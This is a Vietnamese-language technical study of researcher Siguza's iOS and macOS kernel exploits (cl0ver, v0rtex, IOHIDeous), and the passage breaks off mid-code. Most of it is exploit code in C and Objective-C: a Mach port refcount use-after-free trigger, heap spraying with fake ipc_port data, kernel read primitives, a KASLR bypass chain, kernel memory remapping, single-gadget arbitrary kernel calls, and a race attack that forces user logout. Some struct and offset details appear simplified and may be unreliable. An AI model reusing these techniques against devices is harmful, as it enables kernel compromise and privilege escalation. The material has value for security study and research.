Siguza là independent security researcher chuyên về iOS/macOS kernel. Write-ups của Siguza nổi tiếng vì sâu, chi tiết, và viết dưới dạng narrative dễ follow. Đặc biệt mạnh về IOKit exploitation và kernel internals documentation.


Tại Sao Siguza Quan Trọng

  • v0rtex (2017): IOSurface exploit -> tfp0 cho iOS 10.x — nền tảng cho nhiều jailbreaks
  • IOHIDeous (2017): macOS kernel 0-day — IOHIDFamily exploit, brilliant write-up
  • psychicpaper (2020): sandbox escape + entitlement bypass 0-day — cực kỳ elegant
  • cl0ver (2016): iOS 9 exploit — early work nhưng write-up rất instructive
  • Kernel research articles: PAC internals, APRR, PPL deep dives
  • Collaboration: Góp phần vào nhiều jailbreak projects

Exploits Theo Thời Gian

1. cl0ver (October 2016) — iOS 9.0-9.3.4

Field Detail
Target iOS 9.0-9.3.4
Goal tfp0 (kernel task port)
Technique OSUnserializeXML heap manipulation + UAF
Blog blog.siguza.net/cl0ver
Source github.com/Siguza/cl0ver
Exploit flow:
  1. OSUnserializeXML: kernel function parse XML plist data
     → Can allocate controlled data on kernel heap
     → Primary heap spraying primitive cho iOS exploitation
     
  2. Trigger UAF in target subsystem
  
  3. Spray OSUnserializeXML objects vào freed memory
     → Controlled data overlaps freed object
     
  4. Escalate to kernel task port
  
cl0ver's contribution:
  - Added tfp0 patch cho jailbreaks mà trước đó thiếu nó
  - Write-up giải thích OSUnserializeXML technique in detail
  - Foundation cho nhiều exploits sau này

Bài học: OSUnserializeXML = controlled kernel heap allocation primitive. Được dùng rộng rãi trước khi bị hardened (iOS 12+).


2. v0rtex (December 2017) — iOS 10.x

Field Detail
CVE CVE-2017-13861 (same bug class as async_wake)
Target iOS 10.0-10.3.3, 64-bit devices only (A7-A10)
Component IOSurfaceRootUserClient
Technique Mach port reference count bug -> UAF -> fake port -> tfp0
Blog siguza.github.io/v0rtex
Source github.com/Siguza/v0rtex

The Actual Vulnerability Trigger

v0rtex exploit cùng CVE như async_wake (CVE-2017-13861) nhưng target iOS 10.x thay vì 11.x. Bug cũng nằm ở IOSurfaceRootUserClient, nhưng Siguza trigger nó qua đường khác:

/*
 * v0rtex trigger: IOConnectCallAsyncStructMethod()
 * Thay vì gọi s_set_surface_notify trực tiếp như async_wake,
 * v0rtex dùng async variant của IOKit external method call.
 *
 * IOConnectCallAsyncStructMethod(
 *     connect,        // IOSurfaceRootUserClient connection
 *     selector,       // External method number (17 = set_surface_notify)
 *     wake_port,      // Notification port (the victim port)
 *     reference,      // Async reference values
 *     referenceCnt,   // Number of reference values
 *     input,          // Input struct
 *     inputSize,      // Input size
 *     output,         // Output struct
 *     outputSize      // Output size ptr
 * );
 *
 * Khi gọi async variant:
 *   1. MIG serializes wake_port như OOL port descriptor
 *   2. Kernel receives message, tăng port refcount (+1)
 *   3. s_set_surface_notify() executes:
 *      - Release old port nếu có (-1)
 *      - Store new port reference
 *   4. MIG return path: NẾU function thành công,
 *      giả sử callee đã consume port -> KHÔNG release
 *
 * BUG giống async_wake: khi set CÙNG PORT 2 lần cho CÙNG SURFACE:
 *   Call 1: refcount +1 (MIG) -0 (no old port) = net +1 (correct)
 *   Call 2: refcount +1 (MIG) -1 (release old = same port) = net 0
 *           Nhưng port vẫn được store -> 1 reference unaccounted
 *           Và khi surface destroyed: release stored port -> -1
 *           -> Total: +1 +0 -1 -1 = -1 EXTRA RELEASE
 *
 * Kết quả: port refcount giảm thêm 1 -> UAF
 */

// v0rtex.m — trigger code (simplified from source):
mach_port_t port = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port,
                       MACH_MSG_TYPE_MAKE_SEND);

// Tăng refcount lên cao trước khi trigger bug
// (để có nhiều lần gọi trước khi port bị freed)
for (int i = 0; i < REFCOUNT_BOOST; i++) {
    mach_port_mod_refs(mach_task_self(), port,
                       MACH_PORT_RIGHT_SEND, 1);
}

// Tạo IOSurface
uint32_t surface_id = create_surface();

// Trigger bug nhiều lần -> giảm refcount
for (int i = 0; i < REFCOUNT_BOOST + 1; i++) {
    uint64_t ref[8] = {};
    uint64_t in[3] = { surface_id, 0, 0 };
    IOConnectCallAsyncStructMethod(
        client,         // IOSurfaceRootUserClient
        17,             // s_set_surface_notify
        port,           // Wake port — same port mỗi lần!
        ref, 8,
        in, sizeof(in),
        NULL, NULL
    );
}

// Port giờ có refcount = 0 -> FREED bởi kernel
// Nhưng mach_port_t handle vẫn valid trong userspace
// -> DANGLING REFERENCE = UAF

OSUnserializeXML Heap Spray: Binary Serialization Format

v0rtex không dùng OOL port descriptors như async_wake. Thay vào đó, dùng IOSurface properties qua OSUnserializeXML để spray heap. Đây là kỹ thuật mạnh hơn vì cho phép control CHÍNH XÁC content của allocation.

/*
 * OSUnserializeXML binary format:
 * Thay vì XML text, iOS 10+ hỗ trợ binary serialization
 * (nhanh hơn XML parsing, dùng bởi IOKit)
 *
 * Format:
 *   uint32_t magic = 0x000000D3  (kOSSerializeMagic)
 *   Mỗi entry:
 *     uint32_t key = (tag << 1) | has_more_siblings
 *     followed by data specific to tag
 *
 * Tags:
 *   kOSSerializeDictionary  = 0x01000000
 *   kOSSerializeArray       = 0x02000000
 *   kOSSerializeSet         = 0x03000000
 *   kOSSerializeNumber      = 0x04000000
 *   kOSSerializeString      = 0x08000000
 *   kOSSerializeData        = 0x09000000
 *   kOSSerializeBoolean     = 0x05000000
 *   kOSSerializeSymbol      = 0x06000000
 *   kOSSerializeEndCollection= 0x80000000
 */

// v0rtex.m — dict_create[] spray array construction:
// Tạo IOSurface property dictionary với controlled OSString objects

// Mỗi IOSurface property = 1 kernel allocation
// OSString("AAAA...") -> kalloc(string_length) trong kernel

// Target: allocations cùng size với ipc_port (0xa8 bytes)
#define PORT_SIZE    0xa8
#define SPRAY_COUNT  0x800

// Build binary serialization data:
uint32_t dict_create[] = {
    kOSSerializeMagic,                                    // Magic
    kOSSerializeEndCollection | kOSSerializeDictionary | SPRAY_COUNT, // Dict

    // Entry 0: key = symbol, value = string (port-sized)
    kOSSerializeSymbol | 5,                               // Key name len
    0x00000000, 0x00000030,                               // "0\0\0\0\0"
    kOSSerializeEndCollection | kOSSerializeString | PORT_SIZE, // String
    // Followed by PORT_SIZE bytes of controlled data:
    // <- FAKE PORT DATA GOES HERE ->
    // ip_bits, ip_references, ip_receiver, ip_kobject, etc.

    // Entry 1: same pattern, different key
    kOSSerializeSymbol | 5,
    0x00000001, 0x00000030,
    kOSSerializeEndCollection | kOSSerializeString | PORT_SIZE,
    // <- MORE FAKE PORT DATA ->

    // ... repeat SPRAY_COUNT times ...
};

/*
 * Khi gửi dictionary này qua IOSurface property API:
 *   IOSurfaceRootUserClient::s_set_value(surface_id, dict_create)
 *   -> Kernel: OSUnserializeXML(dict_create)
 *   -> Tạo SPRAY_COUNT x OSString objects
 *   -> Mỗi OSString = kalloc(0xa8) = CÙNG SIZE với ipc_port!
 *   -> Content = fake port data
 *
 * Khi port freed:
 *   ipc_port freed -> goes back to kalloc.0xa8 freelist
 *   OSString allocations grab from SAME freelist
 *   -> Một OSString sẽ overlap freed port memory
 *   -> Port memory giờ chứa fake port data!
 */

// IOSurface spray call:
uint32_t spray_data_size = sizeof(dict_create);
IOConnectCallStructMethod(
    client,                    // IOSurfaceRootUserClient
    9,                         // s_set_value
    dict_create,               // Input: binary serialized dict
    spray_data_size,           // Input size
    NULL, NULL                 // No output
);

The 3-Offset Problem

Đây là một trong những vấn đề kỹ thuật thú vị nhất của v0rtex. Zone allocator không đảm bảo alignment của objects với page boundaries, nên fake port data có thể bắt đầu ở 3 vị trí khác nhau:

/*
 * kalloc zone cho size 0xa8 (168 bytes):
 * Mỗi zone chunk = 0x3000 bytes (3 pages = 12288 bytes)
 * 12288 / 168 = 73.14... -> 73 objects per chunk
 * 73 * 168 = 12264 bytes used
 * 12288 - 12264 = 24 bytes wasted per chunk
 *
 * Zone allocator có thể bắt đầu object array tại 3 offsets
 * trong chunk (do alignment và metadata):
 *   Offset A: 0x00 from chunk start
 *   Offset B: 0x68 from chunk start  
 *   Offset C: 0x28 from chunk start
 *
 * Vấn đề: khi spray OSString với fake port data,
 * ta KHÔNG BIẾT offset nào sẽ được dùng!
 *
 * Nếu fake port data assume offset A nhưng thực tế là offset B:
 *   -> ip_bits field (offset 0x00 trong port) thực tế nằm ở
 *      một vị trí KHÁC trong OSString data
 *   -> Kernel reads garbage -> PANIC
 *
 * GIẢI PHÁP CỦA SIGUZA: identification markers
 */

// v0rtex.m — fake port spray với 3-offset detection:

// Spray page layout (simplified):
// Mỗi page 0x1000 bytes, object size 0xa8
// Objects per page: 0x1000 / 0xa8 = 24.6 -> 24 objects + remainder

// Fake port data phải có identification ở MỌI possible offset:
for (uint32_t j = 0; j < PORTS_PER_PAGE; j++) {
    kport_t *dptr = &spray_data[j];

    // ip_context: accessible via mach_port_get_context()
    // Offset của ip_context trong kport_t = 0x58 (iOS 10)
    // Nếu port bắt đầu tại offset 0x00:
    //   ip_context = byte 0x58-0x5F của object
    dptr->ip_context = (dptr->ip_context & 0xffffffff) |
                       ((uint64_t)(0x10000000 | page_index) << 32);
    // Upper 32 bits: 0x1000XXXX
    // -> Marker 0x10 = "port starts at offset A"
    // -> XXXX = page index (which spray page)

    // ip_messages.port.pad: another field, different offset
    // Nếu port bắt đầu tại offset 0x68:
    //   Field này sẽ nằm ở vị trí của ip_context
    dptr->ip_messages.port.pad = 0x20000000 | page_index;
    // Marker 0x20 = "port starts at offset B"

    // ip_lock.pad: yet another field
    // Nếu port bắt đầu tại offset 0x28:
    dptr->ip_lock.pad = 0x30000000 | page_index;
    // Marker 0x30 = "port starts at offset C"
}

/*
 * Detection: sau khi spray, gọi mach_port_get_context()
 * trên freed port (giờ chứa fake data):
 *
 *   uint64_t ctx = 0;
 *   mach_port_get_context(mach_task_self(), freed_port, &ctx);
 *
 *   uint32_t marker = (ctx >> 32) & 0xF0000000;
 *   uint32_t page_idx = (ctx >> 32) & 0x0FFFFFFF;
 *
 *   switch (marker) {
 *     case 0x10000000: offset = OFFSET_A; break;  // 0x00
 *     case 0x20000000: offset = OFFSET_B; break;  // 0x68
 *     case 0x30000000: offset = OFFSET_C; break;  // 0x28
 *     default: spray failed, retry
 *   }
 *
 * Giờ ta biết:
 *   1. OFFSET nào được dùng (A, B, or C)
 *   2. PAGE INDEX nào chứa freed port
 *   -> Có thể tính chính xác layout của fake port
 *   -> Adjust field offsets cho đúng
 */

kread WITHOUT pid_for_task: ip_context + ip_requests Trick

Khác với async_wake dùng pid_for_task, v0rtex xây dựng kread primitive bằng một trick tinh vi hơn dựa trên cách kernel xử lý dead-name requests:

/*
 * mach_port_set_context(task, port, context):
 *   -> Kernel: port->ip_context = context
 *   -> WRITES arbitrary 64-bit value vào ip_context field
 *
 * mach_port_get_attributes(task, port, MACH_PORT_DNREQUESTS_SIZE,
 *                          info, &count):
 *   -> Kernel reads: port->ip_requests
 *   -> ip_requests là pointer đến ipc_port_request array
 *   -> Attribute MACH_PORT_DNREQUESTS_SIZE returns:
 *      info->count = port->ip_requests->ipr_size->its_size
 *
 * TRICK: ip_requests field overlaps với ip_context
 * trong fake port structure!
 *
 * Layout của kport_t (iOS 10):
 *   +0x50: ip_requests (ipc_port_request_t pointer)
 *   +0x58: ip_context  (uint64_t)
 *
 * NHƯNG: khi ta set ip_context qua mach_port_set_context(),
 * và sau đó đọc ip_requests qua mach_port_get_attributes()...
 * HAI FIELDS NÀY LÀ RIÊNG BIỆT, không overlap trực tiếp.
 *
 * ACTUAL TRICK của v0rtex:
 * Dùng FAKE PORT với controlled ip_requests pointer.
 * Set ip_requests = target_address.
 * -> mach_port_get_attributes dereference ip_requests
 * -> Reads ipr_size->its_size tại target_address + offset
 * -> Returns 32-bit value = KREAD!
 */

// v0rtex kread32 implementation:
uint32_t kread32_v0rtex(uint64_t addr) {
    // ip_requests -> ipc_port_request struct:
    //   struct ipc_port_request {
    //       ipc_port_t *ipr_soright;     // +0x00
    //       // ipr_size overlaps here:
    //       struct {
    //           ipc_table_size *its_size; // +0x00 (union với ipr_soright)
    //       };
    //   };
    //
    // its_size -> ipc_table_size struct:
    //   struct ipc_table_size {
    //       ipc_table_elems_t its_size;  // +0x00 (uint32_t)
    //   };
    //
    // -> Kernel reads: *(uint32_t*)(*(uint64_t*)(port->ip_requests))
    // -> Double dereference!
    //
    // Vì ta muốn read tại addr:
    //   Tạo fake ipc_port_request trong kernel memory
    //   Set ipr_soright = addr (pointer to target)
    //   Set port->ip_requests = address of fake request
    //   -> Kernel reads *(uint32_t*)(*(uint64_t*)(fake_request))
    //   -> = *(uint32_t*)(addr) = VALUE WE WANT

    // Update fake port's ip_requests field
    // (write vào kernel memory qua existing primitive)
    kwrite64(fakeport_addr + OFF_IP_REQUESTS, fake_request_addr);

    // Update fake request's ipr_soright to point to target
    kwrite64(fake_request_addr, addr);

    // Read!
    mach_port_dnrequests_size_t info;
    mach_msg_type_number_t count = MACH_PORT_DNREQUESTS_SIZE_COUNT;
    mach_port_get_attributes(mach_task_self(), fakeport_handle,
                             MACH_PORT_DNREQUESTS_SIZE,
                             (mach_port_info_t)&info, &count);
    return info.dnr_size;  // 32-bit value read from addr
}

/*
 * Tại sao trick này hay:
 * 1. Không cần pid_for_task (cần task port, phức tạp hơn)
 * 2. Chỉ cần MACH_PORT_DNREQUESTS_SIZE attribute
 *    -> Không cần special entitlements
 * 3. Hoạt động với bất kỳ fake port nào có controlled ip_requests
 * 4. Fast: 1 mach trap per read
 */

KASLR Defeat Chain: From Fake Port to Kernel Slide

v0rtex xây dựng chain leak phức tạp để defeat KASLR. Mỗi bước leak một pointer, dùng nó để tính pointer tiếp theo:

/*
 * KASLR defeat chain (v0rtex):
 *
 * Start: ta có fake port và kread32 primitive
 * Goal: tìm kernel_slide
 *
 * Chain:
 *   realport -> ip_receiver -> is_task -> itk_registered[0]
 *   -> ip_kobject -> vtable -> kernel_slide
 */

uint64_t defeat_kaslr_v0rtex(uint64_t realport_addr) {
    // Step 1: Đọc ip_receiver của MỘT REAL PORT
    // (Không phải fake port — một port thật mà ta biết address)
    // Mỗi port có ip_receiver = ipc_space của owner task
    uint64_t ipc_space = kread64(realport_addr + OFF_IP_RECEIVER);
    // ipc_space = ipc_space của current task (vì ta own port)

    // Step 2: ipc_space -> is_task (owning task)
    uint64_t our_task = kread64(ipc_space + OFF_IS_TASK);
    // our_task = task_t của current process

    // Step 3: task -> itk_registered[0]
    // itk_registered là array của registered mach ports
    // itk_registered[0] thường là IOSurfaceRootUserClient port
    // (vì ta đã open IOSurface connection)
    uint64_t iosurface_port = kread64(our_task + OFF_ITK_REGISTERED);
    // iosurface_port = ipc_port của IOSurfaceRootUserClient

    // Step 4: port -> ip_kobject = IOSurfaceRootUserClient object
    uint64_t iosurface_uc = kread64(iosurface_port + OFF_IP_KOBJECT);
    // iosurface_uc = IOSurfaceRootUserClient C++ object trong kernel

    // Step 5: C++ object -> vtable (first 8 bytes)
    uint64_t vtable_ptr = kread64(iosurface_uc);
    // vtable_ptr = &IOSurfaceRootUserClient::vtable + kernel_slide

    // Step 6: Calculate slide
    // UNSLID_IOSURFACE_VTABLE được hardcode (khác nhau theo device/iOS version)
    // Tìm bằng: nm kernelcache | grep IOSurfaceRootUserClient
    uint64_t kernel_slide = vtable_ptr - UNSLID_IOSURFACE_VTABLE;

    return kernel_slide;
}

/*
 * Tại sao chain này hoạt động:
 *
 * Q: Làm sao biết realport_addr (address của real port)?
 * A: Từ spray detection! Khi OSString spray hit freed port,
 *    ta biết CHÍNH XÁC spray page nào và offset nào.
 *    -> Tính được kernel address của fake port.
 *    -> Đọc ip_context của fake port để verify.
 *    -> Từ đó traverse đến real port address.
 *
 * Q: Tại sao itk_registered[0] = IOSurface port?
 * A: Vì exploit đã open IOSurfaceRootUserClient connection
 *    trước khi trigger bug. io_connect_add_client()
 *    stores port vào itk_registered array.
 */

Shared Memory Remap: Direct Kernel R/W

Sau khi có kernel slide và kread, v0rtex xây dựng primitive mạnh nhất: shared memory mapping cho direct kernel read/write không cần syscall overhead.

/*
 * mach_vm_remap() cho phép remap memory từ một task vào task khác.
 * Nếu ta dùng fake IKOT_TASK port với map = kernel_map:
 *   -> mach_vm_remap() đọc từ KERNEL address space
 *   -> Map kernel memory vào USERSPACE
 *   -> Direct pointer access, không cần mach trap!
 *
 * Đây là primitive nhanh nhất có thể — chỉ là memory read/write.
 */

// v0rtex shared memory setup:
uint64_t find_kernel_object(uint64_t kaddr, size_t size) {
    // Tìm một kernel allocation cần remap
    // v0rtex dùng OSString data từ spray (đã biết address)
    return spray_page_kaddr + spray_offset;
}

// Remap kernel memory vào userspace:
mach_vm_address_t shmem_addr = 0;
vm_prot_t cur_prot = 0, max_prot = 0;

kern_return_t kr = mach_vm_remap(
    mach_task_self(),       // Target: our address space
    &shmem_addr,            // Out: userspace address
    DATA_SIZE,              // Size to remap
    0,                      // Alignment mask
    VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
    fakeport,               // Source: fake IKOT_TASK port
                            // -> port->ip_kobject = fake task
                            // -> fake_task->map = kernel_map
    kernel_obj_addr,        // Kernel address to remap
    false,                  // Copy = false -> SHARE memory!
    &cur_prot,              // Current protection
    &max_prot,              // Maximum protection
    VM_INHERIT_NONE
);

if (kr == KERN_SUCCESS) {
    // shmem_addr giờ trỏ đến CÙNG PHYSICAL MEMORY
    // với kernel object tại kernel_obj_addr!

    // Direct write to kernel:
    *(uint64_t*)(shmem_addr + some_offset) = new_value;
    // -> Thay đổi TRỰC TIẾP kernel memory!
    // Không cần mach_vm_write(), không cần syscall
    // -> CỰC NHANH (chỉ là pointer dereference)

    // Direct read from kernel:
    uint64_t val = *(uint64_t*)(shmem_addr + some_offset);
    // -> Đọc TRỰC TIẾP kernel memory!
}

/*
 * So sánh với mach_vm_read/write (async_wake):
 *   mach_vm_read: syscall -> kernel -> copy -> return -> ~microseconds
 *   Shared memory: pointer dereference -> ~nanoseconds
 *   -> 100-1000x faster
 *
 * Limitation: chỉ remap được memory đã allocated
 *   -> Không thể remap arbitrary kernel address
 *   -> Phải tìm kernel allocation mà ta biết address
 *   -> v0rtex dùng OSString spray data (already known address)
 */

Single-Gadget Kernel Function Calls

v0rtex introduce technique gọi arbitrary kernel functions chỉ với 1 ROP gadget, không cần full ROP chain:

/*
 * IOKit user client trap mechanism:
 *
 * Khi userland gọi IOConnectTrap0-6(), kernel dispatches qua:
 *   iokit_user_client_trap(struct iokit_user_client_trap_args *args)
 *
 * Kernel implementation:
 */
kern_return_t iokit_user_client_trap(
    struct iokit_user_client_trap_args *args)
{
    IOUserClient *uc = convert_port_to_task(args->userClient);

    // Gọi virtual method:
    IOExternalTrap *trap = uc->getExternalTrapForIndex(args->index);
    // ^^^ VIRTUAL CALL — ta có thể override qua fake vtable!

    if (trap && trap->func) {
        // Gọi function pointer với controlled arguments:
        return trap->func(trap->object,
                          args->p1, args->p2,
                          args->p3, args->p4,
                          args->p5, args->p6);
        // ^^^ trap->func, trap->object: CONTROLLED NẾU ta control trap
    }
    return kIOReturnBadArgument;
}

/*
 * IOExternalTrap struct:
 *   struct IOExternalTrap {
 *       IOService *object;      // +0x00: first arg
 *       IOTrap     func;        // +0x08: function pointer
 *   };
 *
 * getExternalTrapForIndex() normally returns pointer vào
 * vtable của IOUserClient. Nhưng ta có fake vtable!
 *
 * THE GADGET: add x0, x0, #0x10; ret
 *
 * Khi kernel gọi uc->getExternalTrapForIndex(index):
 *   x0 = uc (IOUserClient pointer = address của fake object)
 *   Gadget: x0 = x0 + 0x10 = &fake_object + 0x10
 *   Return: pointer to bytes at fake_object + 0x10
 *
 * Ta setup fake object:
 *   +0x00: vtable pointer -> fake vtable
 *   +0x08: padding
 *   +0x10: IOExternalTrap { .object = arg0, .func = target_func }
 *
 * -> getExternalTrapForIndex returns &fake_object[0x10]
 * -> kernel reads trap->func = target_func
 * -> kernel reads trap->object = arg0
 * -> kernel calls: target_func(arg0, p1, p2, p3, p4, p5, p6)
 * -> ARBITRARY KERNEL FUNCTION CALL với 7 controlled arguments!
 */

// v0rtex implementation:
typedef struct {
    uint64_t vtable;           // +0x00: -> fake_vtable
    uint64_t padding;          // +0x08
    uint64_t trap_object;      // +0x10: first argument (arg0)
    uint64_t trap_func;        // +0x18: function to call
} fake_client_t;

uint64_t fake_vtable[0x200];
// Override getExternalTrapForIndex slot:
// Slot index phụ thuộc iOS version (thường 0xB8 / 8 = slot 23)
fake_vtable[TRAP_VTABLE_INDEX] = gadget_addr;
// gadget_addr = kernel address của "add x0, x0, #0x10; ret"

// Tìm gadget trong kernelcache:
// $ grep -c "add x0, x0, #0x10" kernelcache.disasm
// -> Thường có nhiều instances
// Chọn một ở trong __TEXT (executable, không bị KTRR protect trên iOS 10)

// Setup fake client:
fake_client_t client = {
    .vtable = fake_vtable_kaddr,
    .padding = 0,
    .trap_object = 0,        // Sẽ update mỗi lần gọi
    .trap_func = 0            // Sẽ update mỗi lần gọi
};

// Kernel function call wrapper:
uint64_t kcall(uint64_t func, uint64_t arg0, uint64_t arg1,
               uint64_t arg2, uint64_t arg3, uint64_t arg4,
               uint64_t arg5, uint64_t arg6) {
    // Update fake client trong shared memory:
    *(uint64_t*)(shmem + 0x10) = arg0;     // trap->object
    *(uint64_t*)(shmem + 0x18) = func;     // trap->func

    // Call trap:
    return IOConnectTrap6(
        client_port,     // Fake IOUserClient port
        0,               // Trap index (0)
        arg1, arg2, arg3, arg4, arg5, arg6
    );
    // -> Kernel gọi: func(arg0, arg1, arg2, arg3, arg4, arg5, arg6)
}

/*
 * Với kcall, v0rtex có thể gọi BẤT KỲ kernel function nào:
 *   kcall(proc_ucred, our_proc, 0,0,0,0,0,0);  // Get ucred
 *   kcall(posix_cred_get, ucred, 0,0,0,0,0,0);  // Get posix cred
 *   kcall(bzero, sandbox_label, 8, 0,0,0,0,0);  // Clear sandbox
 *
 * Đây là primitive mạnh nhất — tương đương với kernel code execution
 * mà KHÔNG CẦN ROP CHAIN!
 */

3. IOHIDeous (December 2017) — macOS ≤ 10.13.1

Field Detail
Target macOS <= 10.13.1 (High Sierra)
Component IOHIDFamily (HID — Human Interface Device drivers)
Type Kernel read/write from any unprivileged user
Blog blog.siguza.net/IOHIDeous
Source github.com/Siguza/IOHIDeous

initShmem() Race Condition

Bug nằm ở IOHIDSystem::initShmem(), function khởi tạo shared memory region giữa kernel và WindowServer. Race condition xảy ra vì shared memory được ghi bởi kernel NHƯNG cũng accessible từ userspace:

/*
 * IOHIDSystem::initShmem() pseudocode:
 *
 * Shared memory layout:
 *   EvOffsets struct tại đầu shared memory
 *   EvGlobals struct tại offset specified by EvOffsets
 *
 * Khi initShmem() chạy:
 */
void IOHIDSystem::initShmem() {
    EvOffsets *offsets = (EvOffsets *)shmem_addr;

    // Step 1: Set evGlobalsOffset
    offsets->evGlobalsOffset = sizeof(EvOffsets);
    // ^^^ SHARED MEMORY — userspace có thể đọc/ghi!

    // RACE WINDOW: giữa step 1 và step 2
    // Attacker có thể THAY ĐỔI evGlobalsOffset!

    // Step 2: Use evGlobalsOffset để tính evg pointer
    EvGlobals *evg = (EvGlobals *)((char*)shmem_addr +
                                   offsets->evGlobalsOffset);
    // ^^^ Nếu attacker đã thay đổi evGlobalsOffset
    //     -> evg trỏ đến WRONG location!

    // Step 3: Initialize evg fields
    evg->version = EV_SYSTEM_VERSION;
    evg->structSize = sizeof(EvGlobals);
    // ... more initialization ...

    // Nếu evGlobalsOffset bị corrupt:
    //   -> evg trỏ ra ngoài shared memory
    //   -> Kernel ghi vào arbitrary kernel memory!
}

/*
 * Race attack:
 *   Thread 1 (kernel): chạy initShmem()
 *   Thread 2 (attacker): continuously writes evGlobalsOffset
 *     offsets->evGlobalsOffset = EVIL_OFFSET;
 *     // EVIL_OFFSET = offset vào kalloc_map
 *     // -> evg sẽ trỏ đến kernel heap!
 *
 * volatile keyword ENABLES the attack:
 *   evGlobalsOffset là volatile (vì shared memory)
 *   -> Compiler KHÔNG cache value trong register
 *   -> Mỗi read của kernel đọc từ shared memory
 *   -> Attacker's write ĐƯỢC THẤY bởi kernel
 *   
 *   Nếu không volatile: compiler cache value -> race không hoạt động
 */

// IOHIDeous attack code:
void *race_thread(void *arg) {
    volatile uint32_t *offset_ptr = (volatile uint32_t *)shmem_addr;
    while (!race_won) {
        // Continuously overwrite evGlobalsOffset
        *offset_ptr = EVIL_OFFSET;
        // EVIL_OFFSET cho evg trỏ đến target trong kernel
    }
    return NULL;
}

void trigger_race() {
    pthread_t thread;
    pthread_create(&thread, NULL, race_thread, NULL);

    for (int attempt = 0; attempt < 100000; attempt++) {
        // Trigger initShmem() bằng cách reset IOHIDSystem
        trigger_initShmem();

        // Check nếu race thành công:
        EvGlobals *evg = get_evg_from_offset();
        if (evg->version == 0) {
            // version == 0 -> evg KHÔNG được init đúng
            // -> evg trỏ đến wrong location
            // -> RACE WON!
            race_won = true;
            break;
        }
    }
}

Obtaining IOHIDUserClient

IOHIDUserClient thường bị hold exclusively bởi WindowServer. Exploit phải đợi đến lúc WindowServer release nó:

/*
 * IOHIDUserClient::_evOpenCalled flag:
 *   -> true khi WindowServer đã open
 *   -> Ngăn cản process khác open
 *
 * Cần WindowServer close trước khi exploit grab IOHIDUserClient
 */

// Method 1: Force logout (trigger WindowServer restart)
void grab_client_logout() {
    // launchctl reboot logout: gửi SIGTERM cho WindowServer
    // WindowServer exit -> releases IOHIDUserClient
    // -> Brief window (~100ms) trước khi new WindowServer start
    system("launchctl reboot logout");

    // Ngay lập tức try open IOHIDUserClient
    io_service_t service = IOServiceGetMatchingService(
        kIOMainPortDefault,
        IOServiceMatching("IOHIDSystem")
    );

    io_connect_t connect;
    // Race: open trước khi new WindowServer grab
    while (IOServiceOpen(service, mach_task_self(), 0, &connect)
           != KERN_SUCCESS) {
        usleep(1000);  // Retry mỗi 1ms
    }
    // connect = IOHIDUserClient handle!
}

// Method 2: Wait for system shutdown
void grab_client_shutdown() {
    // macOS gửi SIGTERM trước shutdown
    signal(SIGTERM, sigterm_handler);

    // In signal handler:
    // WindowServer cũng nhận SIGTERM và exit
    // -> IOHIDUserClient freed
    // -> Ta grab nó trong handler
}

// Sau khi có IOHIDUserClient:
// -> Map shared memory
// -> Shared memory = EvOffsets + EvGlobals
// -> Đây là target cho race condition

Heap Landing: Targeting kalloc_map

/*
 * Khi race thành công: evg trỏ đến vị trí controlled.
 * Cần target vị trí này vào kernel heap (kalloc_map).
 *
 * EVIL_OFFSET = -(0x30000000)
 * -> evg = shmem_addr - 0x30000000
 * -> Trỏ ngược vào kalloc_map region!
 *
 * Nhưng cần CHÍNH XÁC vị trí landing.
 * -> OSString spray: tạo nhiều 0x3000-byte OSString objects
 *    để fill kalloc region
 * -> Tạo holes bằng cách free selected strings
 * -> evg lands trong một hole
 * -> Kernel ghi EvGlobals fields vào hole
 * -> Ta control ADJACENT objects (OSString data)
 */

// Heap spray cho landing zone:
#define SPRAY_SIZE 0x3000
#define SPRAY_COUNT 0x100

// Phase 1: Fill kalloc region
for (int i = 0; i < SPRAY_COUNT; i++) {
    // Tạo OSString với known content
    char data[SPRAY_SIZE];
    memset(data, 'A' + (i % 26), SPRAY_SIZE);

    // Allocate trong kernel via IOSurface properties
    set_surface_property(surface, i, data, SPRAY_SIZE);
}

// Phase 2: Punch holes (free every other allocation)
for (int i = 0; i < SPRAY_COUNT; i += 2) {
    remove_surface_property(surface, i);
    // -> kalloc(0x3000) freed -> hole trong heap
}

// Phase 3: Trigger race với EVIL_OFFSET
// -> evg lands trong một hole
// -> Kernel ghi EvGlobals init data vào hole location
// -> Data ở hai bên hole (OSString content) = known
// -> Overflow/underflow từ evg vào adjacent OSString

/*
 * Landing detection:
 * EvGlobals.version = EV_SYSTEM_VERSION (known value)
 * Scan OSString data cho value này
 * -> Tìm được chính xác evg landing position
 * -> Tính được relative offset đến adjacent objects
 */

kread via Mach Message Descriptor Count Corruption

Đây là một trong những kread primitives sáng tạo nhất. Siguza corrupt một mach message in-flight để leak kernel pointers:

/*
 * Mach message structure trong kernel:
 *   mach_msg_header_t:
 *     msgh_bits          // +0x00
 *     msgh_size          // +0x04
 *     msgh_remote_port   // +0x08
 *     msgh_local_port    // +0x10
 *     msgh_voucher_port  // +0x18
 *     msgh_id            // +0x1C
 *   mach_msg_body_t:     (nếu MACH_MSGH_BITS_COMPLEX)
 *     msgh_descriptor_count  // +0x20
 *   Descriptors:         (tùy theo count)
 *     mach_msg_port_descriptor_t:
 *       name             // +0x00: port name (4 bytes)
 *       pad1             // +0x04
 *       disposition      // +0x0C: send right type
 *       type             // +0x0D: MACH_MSG_PORT_DESCRIPTOR
 *
 * TRICK:
 *   1. Gửi complex message với msgh_descriptor_count = 0
 *      -> No descriptors, body là raw data
 *   2. Message queued trong kernel
 *   3. Dùng evg write primitive:
 *      corrupt msgh_descriptor_count: 0 -> 1
 *   4. Khi receiver receives message:
 *      Kernel thấy count = 1 -> interpret body as descriptor!
 *      Body bytes được interpret như mach_msg_port_descriptor_t
 *   5. Nếu body bytes chứa: { .name = FAKE_PORT_KADDR }
 *      -> Kernel insert "port" vào receiver's port namespace
 *      -> Receiver nhận được port name cho FAKE PORT
 */

// Step 1: Prepare message với count = 0 nhưng body = fake descriptor
struct {
    mach_msg_header_t hdr;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t fake_desc;
} msg = {};

msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX |
                    MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = target_port;
